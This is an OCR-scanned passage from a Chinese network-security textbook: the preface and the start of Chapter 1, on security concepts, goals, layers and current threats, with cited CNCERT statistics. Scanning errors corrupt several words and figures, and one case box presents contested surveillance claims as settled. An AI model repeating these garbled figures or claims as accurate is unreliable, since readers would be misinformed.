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进入 21 世纪 以 来 , 随 着 信息 化 建设 和 IT 技术 的 快速 发 展 ,各 
种 网 络 技术 的 应 用 更 加 广泛 深入 ,同时 出 现 很 多 网 络 安全 问题 , 致 
使 网 络 安全 技术 的 重要 性 更 加 突出 ,网 络 安全 已 经 成 为 各 国 关 注 的 
焦点 ,不 仅 关 系 到 机 构 和 个 人 用 户 的 信息 资源 和 资产 风险 ,也 关系 
到 国家 安全 和 社会 稳定 ,已 成 为 热门 研究 和 人 才 需 求 的 新 领域 。 必 
须 在 法 律 、 管 理 \ 技 术 、 道 德 等 方面 采取 切实 可 行 的 有 效 措施 ,才能 
确保 网 络 建设 与 应 用 "又 好 又 快 ? 地 稳定 发 展 。 

网 络 安全 已 经 成 为 世界 热门 研究 课题 之 一 ,引起 社会 广泛 关 
注 。 网 络 安全 是 系统 工程 ,已 经 成 为 信息 化 建设 和 应 用 的 首要 任 
务 。 网 络 安全 技术 涉及 法 律 法 规 、 政 策 、 策 略 、 规 范 、 标 准 、 机 制 、 措 
施 、 管 理 和 技术 等 方面 ,它们 是 网 络 安全 的 重要 保障 。 

信息 、 物 资 、 能 源 已 经 成 为 人 类 社会 赖 以 生存 与 发 展 的 三 大 支 
柱 和 重要 保障 ,信息 技术 的 快速 发 展 为 人 类 社会 带 来 了 深刻 的 变 
革 。 随 着 计算 机 网 络 技术 的 快速 发 展 ,我 国 在 网 络 化 建设 方面 取得 
了 令 人 瞩目 的 成 就 ,电子 银行 .电子 商务 和 电子 政务 的 广泛 应 用 ,使 
计算 机 网 络 已 经 深入 到 国家 的 政治 经济、 文化 和 国防 建设 的 各 个 
领域 ,遍布 现代 信息 化 社会 的 工作 和 生活 各 个 层面 “数字 化 经 济 ” 
和 全 球 电子 交易 一 体 化 正在 形成 。 网 络 安全 不 仅 关 系 到 国计民生 ， 
还 与 国家 安全 密切 相关 ,不 仅 涉 及 国家 政治 .军事 和 经 济 各 个 方面 ， 
而 且 影响 到 国家 的 安全 和 主权 。 随 着 信息 化 和 网 络 技术 的 广泛 应 
用 ,网 络 安全 的 重要 性 尤为 突出 。 因 此 ,网 络 技术 中 最 关键 也 最 容 
易 被 忽视 的 安全 问题 正在 危及 网 络 的 健康 发 展 和 应 用 ,网 络 安全 技 
术 及 应 用 越 来 越 受到 世界 的 关注 。 

网 络 安全 (computer network security) 是 指 利用 网 络 管理 控制 
和 技术 措施 ,保证 网 络 系统 及 数据 的 保密 性 、 完 整 性 、 网 络 服 务 可 用 
性 和 可 审查 性 受到 保护 , 即 保证 网 络 系统 的 硬件 .软件 及 系统 中 的 
数据 资源 得 到 完整 准确 .连续 运行 与 服务 不 受 干扰 破坏 和 非 授 权 
使 用 。 实 际 上 ,网 络 安全 内 容 包括 两 个 方面 : 一 是 网 络 的 系统 安全 ; 
二 是 网 络 系统 的 信息 (数据 ) 安 全 ,而 网 络 安全 的 最 终 目标 和 关键 是 
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保护 网 络 的 信息 安全 。 

网 络 安全 是 一 门 涉及 计算 机 科学 、 网 络 技术 、 信 息 安 全 技术 .通信 技术 .计算 数学 、 密 
码 技术 和 信息 论 等 多 学 科 的 综合 性 交叉 学 科 , 是 计算 机 与 信息 科学 的 重要 组 成 部 分 ,也 
是 近 20 年 发 展 起 来 的 新 兴学 科 , 需 要 综合 信息 安全 、 网 络 技术 与 管理 分布 式 计算 、 人 工 
智能 等 多 个 领域 知识 和 研究 成 果 , 其 概念 、 理 论 和 技术 正在 不 断 发 展 完善 之 中 。 

随 着 信息 技术 的 快速 发 展 与 广泛 应 用 ,网 络 安全 的 内 涵 在 不 断 地 扩展 ,从 最 初 的 信 
息 保密 性 发 展 到 信息 的 完整 性 、 可 用 性 、 可 控 性 和 可 审查 性 ,进而 又 发 展 为 “ 攻 ( 攻 击 )、 防 
(防范 )、 测 (检测 ) 、 控 (控制 )、 管 (管理 )、 评 (评估 )” 等 多 方面 的 基本 理论 和 实施 技术 。 网 
络 安全 技术 (network security technology) 是 指 为 解决 网 络 安全 问题 而 进行 的 有 效 监控 ， 
保证 数据 及 传输 安全 的 技术 手段 ,主要 包括 实体 安全 技术 .身份 认证 与 访问 控制 技术 、 入 
侵 检 测 技术 .黑客 攻击 与 防范 技术 .系统 安全 管理 技术 .数据 安全 与 密码 技术 等 ,以 及 确 
保安 全 服务 和 安全 机 制 的 策略 等 。 

本 书 第 一 版 很 受 读者 欢迎 ,多 次 重印 。 为 满足 高 校 计 算 机 、 信 息 、 电 子 商务 工程 及 
管理 类 本 科 生 、 研 究 生 等 高 级 人 才 培 养 的 需要 ,我 们 在 2014 年 获得 “上 海 市 高 校 精品 课 
程 ” 和 2015 年 获得 “上 海 市 高 校 优秀 教材 奖 ” 的 基础 上 ,对 第 一 版 进行 了 修订 。 主 编 和 编 
著者 多 年 来 ,在 高 校 从 事 计算 机 网 络 与 安全 等 领域 的 教学 、 科 研 及 学 科 专 业 建 设 和 管理 
工作 ,特别 是 多 次 主持 过 计算 机 网 络 安 全 方面 的 科研 项 目 研究 ,积累 了 大 量 的 宝贵 实践 
经 验 , 谨 以 此 书 奉献 给 广大 师 生 和 其 他 读者 。 

本 书 共 分 12 章 , 主 要 包括 网 络 安全 的 威胁 及 发 展 态势 、 网 络 协 议 安全 及 IPv6 安全 、 
安全 体系 结构 与 管理 、 无 线 网 与 WiFi 安全 、 密 码 与 加 密 技术 、 黑 客 攻 防 、 身 份 认 证 与 访问 
控制 ,入 侵 检 测 与 防御 、 网 络 安全 审计 、 计 算 机 病毒 防范 、 防 火 墙 技 术 及 应 用 、 操 作 系 统 与 
站 点 安全 、 数 据 库 安全 技术 .电子 商务 网 站 安全 实用 技术 .网 络 安全 解决 方案 等 。 包 括 
“ 攻 ( 攻 击 )、 防 (防范 )、 测 (检测 )、 控 (控制 )、 管 (管理 )、 评 (评估 )” 等 多 方面 的 基本 理论 和 
实用 技术 。 书 中 提供 了 很 多 经 过 多 年 的 实践 总 结 出 来 的 案例 及 研究 成 果 , 以 便于 实际 应 
用 。 书 中 带 “* ”部 分 为 选 学 内 容 。 

本 书 重 点 介绍 最 新 网 络 安全 技术 、 成 果 \ 方 法 和 实际 应 用 ,其 特点 是 ; 

(1) 内 容 先进 ,结构 新 颖 。 吸 收 了 国内 外 大 量 的 新 知识 、 新 技术 、 新 方法 和 国际 通用 
准则 。“ 教 学 练 做 用 一 体 化 ”, 注 重 科学 性 先进 性 、 操 作 性 。 图 文 并 茂 、 学 以 致 用 。 

(2) 注重 实用 性 。 坚 持 “ 实 用 、 特 色 、 规 范 ” 原 则 ,突出 实用 及 素质 能 力 培养 ,增加 大 量 
案例 和 同步 实验 及 课程 设计 指导 ,将 理论 知识 与 实际 应 用 有 机 结合 。 

(3) 资源 丰富 ,便于 教学 。 通 过 上 海 市 高 校 精 品 课程 网 站 http://jiatj. sdju. edu. cn/ 
webanq/ ,提供 多 媒体 课件 .教学 大 岗 和 计划 、 电 子 教案 、 动 画 视频 .同步 实验 及 复习 与 测 
试 演练 系统 等 教学 资源 ,便于 实践 教学 、 课 外 延伸 和 综合 应 用 及 课程 设计 及 练习 。 

本 书 由 上 海 市 高 校 精 品 课程 负责 人 暨 上 海 市 高 校 优秀 教材 奖 获得 者 贾 铁 军 教授 任 
主编 并 编写 了 第 1.2、.3、.6、.9、12 章 , 俞 小 怡 副教授 (大 连理 工大 学 ) 任 副 主 编 并 编写 了 第 
11 章 , 罗 宜 元 博士 (上 海 电机 学 院 ) 任 副 主 编 并 编写 了 第 8 章 , 侯 丽 波 ( 辽 宁 警 察 学 院 ) 任 
副 主编 并 编写 了 第 4、10 章 , 常 艳 教授 (辽宁 警察 学 院 ) 编 写 了 第 5 章 , 朱 少 婷 (大 连 信 源 
自动 化 有 限 公 司 ) 编 写 了 第 7 章 。 多 位 同仁 和 研究 生 对 全 书 的 文字 、 图 表 进 行 了 校对 、 编 
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网 络 安 全 问题 已 经 成 为 世界 各 国 关注 的 焦点 ,成 为 一 项 热门 研究 课题 和 人 才 需 求 的 
新 领域 。 随 着 计算 机 网 络 技术 的 快速 发 展 和 广泛 应 用 ,网 络 资源 共享 和 网 络 安全 的 矛盾 
不 断 加 剧 ,网 络 安全 的 重要 性 和 紧迫 性 更 加 突出 ,不 仅 关系 到 国家 安全 和 社会 稳定 ,也 关 
系 到 信息 化 建设 的 健康 发 展 、 用 户 资产 和 信息 资源 的 安全 。 


S 教 学 目标 


。 掌握 网 络 安全 的 概念 、 目 标 和 内 容 。 

。 理解 网 络 安全 面临 的 威胁 及 脆弱 性 。 

° 掌握 网 络 安全 技术 相关 概念 、 种 类 和 模型 。 
。 了 解构 建 虚 拟 局 域 网 VLAN 的 过 程 及 方法 。 


11 网 络 安全 的 概念 和 内 容 


【案例 1-1】 我 国 网 络 遭 受 攻击 近况 。 根 据 国家 互联 网 应 急 中 心 CCNCERT) 抽 样 监 
测 结果 和 国家 信息 安全 漏洞 共享 平台 (CNVD) 发 布 的 一 周 (2016 年 1 月 4 一 10 上 日) 数据 ， 
我 国境 内 感染 网 络 病毒 的 终端 数 约 为 74.7 万 个 , 较 上 周 增长 31.6%, 境 内 被 自 改 网 站 总 
数 为 1143 个 ,被 植 入 后 门 网 站 总 数 为 4569 个 ,新 增 信息 安全 漏洞 109 个 。 


111 网 络 安全 的 概念 ,目标 和 特征 


1. 网 络 安全 的 有 关 概 念 


国际 标准 化 组 织 (ISO) 对 于 信息 安全 (information security) 提 出 的 定义 是 : 为 数据 
处 理 系统 建立 和 采取 的 技术 及 管理 保护 ,保护 计算 机 硬件 .软件 .数据 不 因 偶 然 及 恶意 的 
原因 而 遭 到 破坏 .更 改 和 泄漏 。 

我 国 在 (计算 机 信息 系统 安全 保护 条 例 》 中 ,定义 信息 安全 为 : 计算 机 信息 系统 的 安 
全 保护 ,应 当 保 障 计算 机 及 其 相关 的 配套 设备 .设施 ( 含 网 络 ) 的 安全 ,运行 环境 的 安全 ， 
保障 信息 的 安全 ,保障 计算 机 功能 的 正常 发 挥 ,以 维护 计算 机 信息 系统 安全 运行 。 主 要 
防止 信息 被 非 授权 泄露 更改、 破坏 或 使 信息 被 非法 的 系统 辨识 与 控制 ,确保 信息 的 完整 
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性 ,保密 性 、 可 用 性 和 可 控 性 。 

外 知识 拓展 ”信息 安全 的 发 展 经 历 了 通信 保密 、 信 息 安 全 (以 保密 性 、 完 整 性 和 可 用 
性 为 目标 ) 和 信息 保障 3 个 阶段 。 随 着 信息 技术 的 快速 发 展 与 广泛 应 用 ,信息 安全 的 内 
涵 在 不 断 地 延伸 和 变化 ,从 最 初 的 信息 保密 性 发 展 到 信息 的 完整 性 、 可 用 性 、 可 控 性 和 可 
审查 性 ,进而 又 发 展 为 攻 ( 攻 击 )、 防 (防范 )、 测 (检测 )、 控 (控制 )、 管 (管理 )、 评 (评估 )” 
等 多 方面 的 基础 理论 和 实施 技术 。 信 息 安全 是 一 个 综合 交叉 学 科 领 域 ,综合 利用 了 数 
学 ,信息 学 ,通信 和 计算 机 诸多 学 科 的 长 期 知识 积累 和 最 新 发 展 成 果 。 

网 络 安全 (computer network security) 是 指 利 用 网 络 管理 控制 和 技术 等 措施 ,保证 
网 络 系统 和 数据 的 机 密 性 、 完 整 性 、 可 用 性 、 可 控 性 和 可 审查 性 受到 保护 。 即 保证 网 络 系 
统 的 硬件 ,软件 及 系统 中 的 数据 资源 得 到 完整 ,准确 、 连 续 运 行 与 服务 ,不 受 干扰 破坏 和 
非 授权 使 用 。 狭 义 上 ,网络 安 全 是 指 网 络 系统 资源 和 信息 资源 不 受 有 害 因 素 的 威胁 和 危 
害 。 广 义 上 ,凡是 涉及 (计算 机 或 手机 通信 等 ) 网 络 信息 安全 属性 特征 (机 密 性 .完整 性 、 
可 用 性 .可 控 性 .可 审查 性 ) 相 关 的 理论 和 技术 方法 等 ,都 是 网 络 安全 的 研究 领域 。 实 际 
上 ,网络 安全 问题 包括 两 方面 的 内 容 , 一 是 网 络 系统 的 安全 ;二 是 网 络 信息 (数据 ) 的 安 
全 ,而 网 络 安全 的 最 终 目标 和 关键 是 保护 网 络 信息 的 安全 。 

注意 : 实际 上 ,网 络 安全 是 一 个 相对 的 概念 ,世上 没有 绝对 的 安全 可 言 ,过 分 提高 
安全 性 不 仅 浪费 资源 和 代价 ,而 且 也 会 降低 网 络 传输 过 度 等 方面 的 性 能 。 

和 识 拓 展 ”网 络 安全 是 一 门 涉 及 计算 机 科学 、 网 络 技 术 、 信 息 安 全 技术 、 通 信 技 
术 、 计 算数 学 、 密 码 技术 和 信息 论 等 多 学 科 的 综合 性 交叉 学 科 , 是 计算 机 与 信息 科学 的 重 
要 组 成 部 分 ,也 是 近 20 年 发 展 起 来 的 新 兴学 科 。 需 要 综合 信息 安全 、 网 络 技术 与 管理 、 分 
布 式 计 算 \ 人 工 智 能 等 多 个 领域 知识 和 研究 成 果 , 其 概念 、 理 论 和 技术 正在 不 断 发 展 完善 
=P, 


2. 网 络 安全 的 目标 及 特征 


网 络 安全 的 目标 是 在 网 络 的 信息 传输 ,存储 与 处 理 的 整个 过 程 中 ,提高 物理 上 、 逻 辑 
上 的 防护 ,监控 .反应 恢复 和 对 抗 的 能 力 。 网 络 安全 的 最 终 目 标 就 是 通过 各 种 技术 与 管 
理 手段 实现 网 络 信息 系 统 的 机 密 性 、 完 整 性 可用性、 可靠 性 .可 控 性 和 可 审查 性 。 其 中 
保密 性 .完整 性 .可 用 性 是 网 络 安全 的 基本 要 求 。 以 下 的 网 络 信息 安全 5 大 特征 反映 了 
网 络 安全 的 具体 目标 要 求 。 

(1) 机 密 性 (confidentiality) 也 称 保密 性 ,是 不 将 有 用 信息 泄漏 给 非 授 权 用 户 的 特 
性 。 可 以 通过 信息 加 密 、 身 份 认证 ,访问 控制 .安全 通信 协议 等 技术 实现 ,信息 加 密 是 防 
止 信息 非法 泄露 的 最 基本 手段 ,主要 强调 有 用 信息 只 被 授权 对 象 使 用 的 特征 。 

(2) 完整 性 (integrity) 是 指 信息 在 传输 、 交 换 、 存 储 和 处 理 过 程 中 ,保持 信息 不 被 破 
坏 或 修改 ,不 丢失 和 信息 未 经 授权 不 能 改变 的 特性 ,也 是 最 基本 的 安全 特征 。 

(3) 可 用 性 也 称 有 效 性 (availability) , 指 信息 资源 可 被 授权 实体 按 要 求 访问 、 正 常 使 
用 或 在 非 正常 情况 下 能 恢复 使 用 的 特性 (系统 面向 用 户 服务 的 安全 特性 ), 即 在 系统 运行 
时 能 正确 存 取 所 需 信息 , 当 系统 遭受 意外 攻击 或 破坏 时 ,可 以 迅速 恢复 并 能 投入 使 用 。 
可 用 性 是 衡量 网 络 信息 系统 面向 用 户 的 一 种 安全 性 能 。 信 息 系统 只 有 持续 有 效 运行 , 授 
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权 用 户 才能 随时 随地 根据 需求 访问 其 提供 的 服务 。 

(4) 可 控 性 (controllability) 指 信息 系统 对 信息 内 容 和 传输 具有 控制 能 力 的 特性 , 指 
网 络 系统 中 的 信息 在 一 定 传输 范围 和 存放 空间 内 可 控 的 程度 。 可 靠 性 (reliability) 是 指 
系统 在 指定 的 条 件 与 时 间 内 完成 其 功能 的 特性 ,是 系统 正常 稳定 运行 的 基本 前 提 。 

(5) 可 审查 性 又 称 拒绝 否认 性 (no-repudiation) , 抗 抵赖 性 或 不 可 否认 性 , 指 网 络 通 
信 双 方 在 信息 交互 过 程 中 ,确信 参与 者 本 身 和 其 所 提供 的 信息 的 真实 同一 性 , 即 所 有 
参与 者 不 可 否认 或 抵赖 本 人 的 真实 身份 ,以 及 提供 信息 的 原样 性 和 完成 的 操作 与 
承诺 。 


112 网 络 安全 的 内 容 及 侧重 点 
从 不 同 角度 可 以 划分 网 络 安全 涉及 的 内 容 和 不 同 的 保护 范畴 及 侧重 点 。 
1. 网 络 安全 涉及 的 内 容 


通常 ,网 络 安 全 的 内 容 包 括 操作 系统 安全 、 数 据 库 安全 、 网 络 站 点 安全 ,病毒 与 防护 、 
访问 控制 .加 密 与 鉴别 等 方面 ,具体 内 容 将 在 以 后 章节 中 分 别 进行 详细 介绍 。 从 层次 结 
构 上 ,也 可 将 网 络 安全 所 涉及 的 内 容 概括 为 以 下 5 个 方面 。 

(1) 实体 安全 。 也 称 物理 安全 , 指 保 护 网 络 设备 、 设 施 及 其 他 媒介 免 章 地震, 水灾、 火 
灾 、 有 害 气体 和 其 他 环境 事故 破坏 的 措施 及 过 程 。 包 括 环境 安全 设备 安全 和 媒体 安全 3 
个 方面 。 实 体 安全 是 信息 系统 安全 的 基础 ,包括 环境 安全 ,设备 安全 和 媒体 安全 三 个 方 
面 。 具 体 参见 1.6 节 的 介绍 。 

(2) 运行 安全 。 包 括 网 络 运 行 和 访问 控制 的 安全 ,如 设置 防火 墙 实 现 内 外 网 隔离 ， 
备份 系统 实现 系统 恢复 。 运 行 安 全 包括 内 外 网 的 隔离 机 制 、 应 急 处 置 机 制 和 配套 服 
务 、 网 络 系统 安全 性 监测 、 网 络 安全 产品 运行 监测 、 定 期 检查 和 评估 、 系 统 升级 和 补丁 
处 理 . 跟 踪 最 新 安全 漏洞 .灾难 恢复 机 制 与 预防 、 安 全 审计 、 系 统 改造 .网 络 安全 咨 

(3) 系统 安全 。 主 要 包括 网 络 系统 安全 ,操作 系 统 安全 和 数据 库 系统 安全 。 主 要 以 
网 络 系统 的 特点 、 条 件 和 管理 要 求 为 依据 ,通过 有 针对 性 地 为 系统 提供 安全 策略 机 制 、 保 
障 措施 .应 急 修 复方 法 .安全 建议 和 安全 管理 规范 等 ,确保 整个 网 络 系统 安全 运行 。 

(4) 应 用 安全 。 由 应 用 软件 平台 安全 和 应 用 数据 安全 两 部 分 组 成 。 应 用 安全 包括 业 
务 应 用 软件 的 程序 安全 性 测试 分 析 、 业 务 数据 的 安全 检测 与 审计 、 数 据 资 源 访问 控制 验 
证 测试 .实体 的 身份 鉴别 检测 .业务 现场 的 备份 与 恢复 机 制 检查 .数据 的 唯一 性 /一 致 性 / 
防 冲 突 检 测 .数据 的 保密 性 测试 .系统 的 可 靠 性 测试 和 系统 的 可 用 性 测试 等 。 

(5) 管理 安全 。 也 称 安全 管理 , 主要 指 对 人 员 及 网 络 系统 安全 管理 的 各 种 法 律 .法 
规 .政策 .策略 机制. 规范 .标准 .技术 手段 和 措施 等 内 容 。 主 要 包括 法 律 法 规 管理 、 政 策 
策略 管理 .规范 标准 管理 .人 员 管 理应 用 系统 管理 .软件 管理 .设备 管理 ,文档 管理 .数据 
管理 .操作 管理 .运营 管理 .机房 管理 .安全 培训 管理 等 。 

广义 的 网 络 安全 所 涉及 的 相关 内 容 及 其 关系 如 图 1-1 所 示 。 在 网 络 信息 安全 法 律 法 
规 的 基础 上 ,以 安全 管理 为 保障 ,以 实体 安全 为 基础 ,以 系统 安全 、 运 行 安 全 和 应 用 安全 
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确保 网 络 正常 运行 与 服务 。 网 络 安全 具体 内 容 及 其 相互 关系 如 图 1-2 所 示 。 


安全 目标 (机 密 人 性 、 完 整 性 、 抗 否定 性 、 可 用 性 等 ) [一 
安全 管理 
平台 安全 (物理 安全 、 网 络 安全 、 系 统 安全 、 
数据 安全 、 边 界 安全 、 用 户 安全 ) | | 安全 标准 
| ze 
安全 理论 (身份 | | 安全 技术 (防火 墙 技 
应 用 安全 验证 、 访问 控 术 、 漏洞 扫描 技术 、 i 
安 运 制 、 审 计 追 踪 、 入 侵 检 测 技术 、 防 安全 评测 
全 | ”网络 安全 | 行 安全 协议 ) 病毒 技术 ) 
本 Š 安全 监控 
实体 安全 
信息 安全 法 律 法 规 | 密码 理论 (数据 加 密 、 数 字 签 名 、 消 息 摘要 、 密 钥 管理 ) 
1-1 网 络 安全 的 主要 内 容 图 1-2 网 络 安全 具体 内 容 及 其 相互 关系 


ER 知识 拓展 ”国外 从 面向 属性 的 网 络 信息 安 全 框架 角度 将 网 络 信息 安全 确定 为 “ 金 
三 角 ”, 即 3 个 层次 的 结构 : 机 密 性 、 完 整 性 和 可 用 性 。 国 内 从 面向 应 用 的 网 络 信息 安全 
框架 角度 也 可 将 网 络 信息 安全 分 层 结构 从 上 至 下 分 为 内 容 安全 、 数 据 安 全 、 运 行 安全 和 
实体 安全 。 国 内 也 有 一 些 专家 或 学 者 从 不 同 的 内 涵 和 外 延 将 网 络 信息 安全 分 为 3 个 层 
次 : 法 律 保 障 、 安 全 管理 和 安全 技术 。 国 内 一 些 专家 也 有 将 网 络 安全 分 成 4 个 层次 的 安 
全 : 实体 安全 、 逻 辑 安 全 、 操 作 系 统 安全 、 联 网 安全 。 


2. 网 络 安全 保护 范畴 及 侧重 点 


网 络 安全 与 数据 安全 .计算 机 系统 安全 和 密码 安全 密切 相关 ,但 涉及 的 保护 范围 不 
同 。 数 据 安 全 所 涉及 的 保护 范围 包括 所 有 数据 资源 ;计算 机 系统 安全 的 保护 范围 是 系统 
硬件 ,软件 文件 和 数据 ,通过 系统 运行 的 实体 环境 限制 ,利用 专用 软件 或 操作 系统 来 实 
现 安全 措施 ;密码 安全 是 数据 安全 、 网 络 安全 和 计算 机 系统 安全 的 基础 与 核心 ,也 是 身份 
认证 ,访问 控制 .审查 和 防止 信息 失窃 泄密 的 有 效 手段 。 

网 络 安 全 涉及 的 内 容 包 括 技术 和 管理 等 多 个 方面 ,需要 相互 补充 ,综合 防范 。 技 
术 方 面 主要 侧重 于 如 何 防范 外 部 非法 攻击 ,管理 方面 则 侧重 于 内 部 人 为 因素 的 管理 。 
如 何 更 有 效 地 保护 重要 数据 、 提 高 网 络 系统 的 安全 性 已 经 成 为 必须 解决 的 一 个 重要 
问题 。 

网 络 安全 关键 是 确保 网 络 系统 中 的 信息 资源 安全 , 凡 涉 及 网 络 信息 的 可 靠 性 、 保 密 
性 .完整 性 有 效 性 、 可 控 性 和 可 审查 性 的 理论 ,技术 与 管理 都 属于 网 络 安 全 的 研究 范畴 ， 
对 不 同人 员 或 部 门 ,网 络 安 全 内 容 的 侧重 点 有 所 不 同 。 

(1) 网 络 安全 研究 人 员 比较 关注 从 理论 上 采用 数学 等 方法 精确 描述 安全 问题 的 属性 
特征 ,然后 ,通过 安全 模型 等 来 解决 具体 的 网 络 安全 问题 。 

(2) 网 络 安全 工程 人 员 从 实际 应 用 角度 出 发 ,更 注重 成 熟 的 网 络 安全 解决 方案 和 新 
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型 网 络 安全 产品 ,注重 网 络 安全 工程 建设 开发 与 管理 .安全 防范 工具 、 操 作 系统 防护 技术 
和 安全 应 急 处 理 措施 等 。 

(3) 网 络 安全 评估 人 员 关 注 的 是 网 络 安全 评价 标准 与 准则 .安全 等 级 划分 、 安 全 产品 
测评 方法 与 工具 、 网 络 信息 采集 以 及 网 络 攻防 技术 等 。 

(4) 网 络 管理 员 或 安全 管理 员 更 关心 网 络 安全 管理 策略 .身份 认证 .访问 控制 .人 侵 
检测 防御 与 加 固 、 网 络 安全 审计 、 网 络 安全 应 急 响 应 和 计算 机 病毒 防治 等 安全 技术 和 措 
施 。 主 要 职责 是 配置 与 维护 网 络 ,在 保护 授权 用 户 方便 快捷 地 访问 网 络 资源 的 同时 , 必 
须 防 范 非 法 访问 、 病 毒 感染 .黑客 攻击 .服务 中 断 和 垃圾 邮件 等 各 种 威胁 ,一 旦 系统 遭 到 
破坏 ,致使 数据 或 文件 造成 损失 ,可 以 采取 相应 的 应 急 响应 和 恢复 等 措施 。 

(5) 国家 安全 保密 人 员 关 注 网 络 信息 泄露 .窃听 和 过 滤 的 各 种 技术 手段 ,以 避免 涉及 
国家 政治 ,军事 ,经济 等 重要 机 密 信息 的 无 意 或 有 意 泄露 ;抑制 和 过 滤 威 胁 国家 安全 的 反 
动 与 邪教 等 意识 形态 信息 传播 ,以 免 给 国家 的 稳定 带 来 不 利 的 影响 ,甚至 危害 到 国家 安 
全 。 公 共 安 全 部 门 应 当 熟 悉 国 家 和 行业 部 门 颁布 的 常用 网 络 安全 监察 法 律 法 规 、 网 络 安 
全 取证 、 网 络 安全 审计 知识 产权 保护 .社会 文化 安全 等 措施 ,一 旦 发 现 窃取 或 破坏 商业 
机 密 信息 、 软 件 盗版 .电子 出 版 物 侵权 、` 色 情 与 暴力 信息 传播 等 各 种 网 络 违法 犯罪 行为 ， 
能 够 取得 可 信 的 、 完 整 的 、 准 确 的 、 符 合 国家 法 律 法 规 的 诉讼 证 气 。 

(6) 国防 相关 人 员 更 关心 信息 对 抗 . 信 息 加 密 、 安 全 通信 协议 .无线 网 络 安全 .人 侵 攻 
击 ,应 急 处 理 和 网 络 病毒 传播 等 网 络 安全 综合 技术 ,以 此 夺取 网 络 信息 优势 .扰乱 敌 方 指 
挥 系统 .摧毁 敌 方 网 络 基础 设施 , 打 赢 未 来 信息 战争 。 

4 注意 : 除了 相关 专业 人 员 和 部 门 关注 网 络 安全 问题 之 外 ,所 有 网 络 用 户 都 应 关心 
网 络 安全 问题 ,注意 保护 个 人 隐私 和 商业 信息 不 被 窃取 、 葵 改 、 破 坏 和 非法 存 取 , 确 保 网 
络 信息 的 保密 性 、 完 整 性 有效 性 和 可 审查 性 。 

[ED 计 论 思考 

(1) 什么 是 信息 安全 、 网 络 安 全 ? 网 络 安全 的 目标 是 什么 ? 

(2) 网 络 安全 所 涉及 的 主要 内 容 是 什么 ? 

(3) 网 络 安全 与 信息 安全 相关 内 容 及 其 关系 如 何 ? 


12 网 络 安全 的 威胁 及 发 展 态势 


【案例 1-2〗 美国 网 络 间谍 活动 公 诸 于 世 。2013 年 6 月 曾经 参加 美国 安全 局 网 络 监 
控 项 目的 斯 诺 登 披露 “棱镜 事件 ”曝光 ,公开 爆料 美国 多 次 秘密 利用 超级 软件 监控 包括 其 
盟友 政要 在 内 的 网 络 用 户 和 电话 记录 ,包括 谷歌 .雅虎 ,微软 .苹果 、Facebook、 美 国 在 线 、 
PalTalk、Skype、YouTube 等 公司 帮助 提供 漏洞 参数 、 开 放 服 务 器 等 ,使 其 轻易 监控 有 关 
国家 机 构 或 上 百 万 网 民 的 邮件 、 即 时 通话 及 相关 数据 。 据 称 , 思 科 参 与 了 中 国 几乎 所 有 
大 型 网 络 项 目的 建设 ,涉及 政府 、 军 警 金融、 海关 、 邮 政 铁路、 民航 、 医 疗 等 要 害 部 门 , 以 
及 中 国电 信 、 联 通 等 电信 运营 商 的 网 络 基础 建设 。 
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121 网 络 安全 威胁 的 现状 


1. 法 律 法 规 . 安 全 意识 和 管理 欠缺 


随 着 信息 技术 快速 发 展 和 广泛 应 用 ,世界 各 国 在 信息 资源 保密 性 、 完 整 性 、 可 控 性 等 
方面 ,相应 的 各 种 法 律 法 规 和 管理 政策 等 相对 滞后 ,一 些 用 户 对 网 络 风险 和 隐患 不 够 了 
解 , 致 使 出 现 一 些 网 络 安全 意识 不 强 、 管 理 措施 和 方法 不 完善 等 问题 ,甚至 在 内 部 出 现 监 
守 自 盗 案 件 。 重 技术 、 轻 管理 和 网 络 安 全 知识 不 够 普及 也 是 一 个 重要 问题 。 


2. 网 络 安全 规范 和 标准 不 统一 


网 络 安全 是 一 个 系统 工程 ,需要 统一 规范 标准 。 美 国 等 发 达 国 家 计算 机 网 络 技术 最 
先进 且 对 网 络 安全 很 重视 ,也 同样 存在 着 网 络 安全 规范 和 标准 等 问题 。 西 欧 国家 则 另 有 
一 套 信息 安全 标准 ,在 原理 和 结构 上 与 美国 昌 有 相同 部 分 ,但 是 也 有 很 多 不 同 之 处 。 


3. 企业 和 政府 的 要 求 不 尽 一 致 


政府 注重 信息 及 网 络 安全 的 可 管 性 和 可 控 性 ,企业 则 注重 其 可 靠 性 .可 用 性 和 效益 。 
由 美国 政府 组 织 的 KRS 系统 由 于 不 受 企业 欢迎 而 无 法 推广 。 在 欠 发 达 国 家 或 地 区 ,对 
网 络 安全 的 投入 难以 满足 实际 需要 ,其 经 费 投 入 也 时 常 被 挤占 或 挪用 。 


4. 网 络 系统 的 安全 隐患 及 风险 


在 现代 信息 化 社会 ,电子 政务 .电子 商务 .网 络 银行 .办公 自 动 化 和 其 他 各 种 业务 的 
应 用 对 网 络 的 依赖 程度 越 来 越 高 ,同时 ,计算 机 网 络 的 开放 性 、 交 互 性 和 分 散 性 等 特点 ， 
以 及 网 络 系统 从 设计 到 实现 中 自身 存在 的 缺陷 、 安 全 漏洞 和 隐患 ,致使 网 络 面临 巨大 的 
威胁 和 风险 ,时常 受 到 侵扰 和 攻击 。 各 种 计算 机 病毒 .垃圾 邮件 ,广告 和 恶意 软件 等 也 影 
响 了 正常 的 网 络 应 用 。 全 世界 平均 不 足 20 秒 就 发 生 一 次 黑客 人 侵 事 件 ,而 全 球 每 年 因 
网 络 安全 问题 造成 的 经 济 损失 达 几 千 亿 美元 。 


5. 网 络 技术 和 手段 滞后 


目前 ,网 络 安全 问题 已 经 成 为 世界 各 国共 同 关注 的 焦点 。 网 络 技术 不 断 快 速 发 展 ， 
而 网 络 安全 技术 和 手段 相对 滞后 ,更 新 不 及 时 、 不 完善 。 

【案例 1-3] 中 国 是 网 络 安全 问题 的 最 大 受害 国 。 国 家 互联 网 应 急 中 心 (CNCERT) 
监测 的 数据 显示 ,中 国 遭 受 境 外 网 络 攻击 的 情况 日 趋 严重 。CNCERT 抽样 监测 发 现 ， 
2013 年 1 月 1 日 至 2 月 28 日 ,境外 6747 台 木 马 或 僵尸 网 络 服务 器 控制 了 中 国境 内 190 
万 余人 台 主 机 (“肉鸡 ”) ;其 中 位 于 美国 的 2194 台 控 制服 务 器 控制 了 中 国境 内 128.7 Z Š 
主机 ,无 论 是 按照 控制 服务 器 数量 还 是 按照 控制 中 国 主机 数量 排名 ,美国 都 名 列 第 一 。 

师 展 阅读 ”防火墙 .入侵 检 测 技 术 和 防 病毒 技术 被 称 为 网 络 安 全 技术 的 三 大 主 
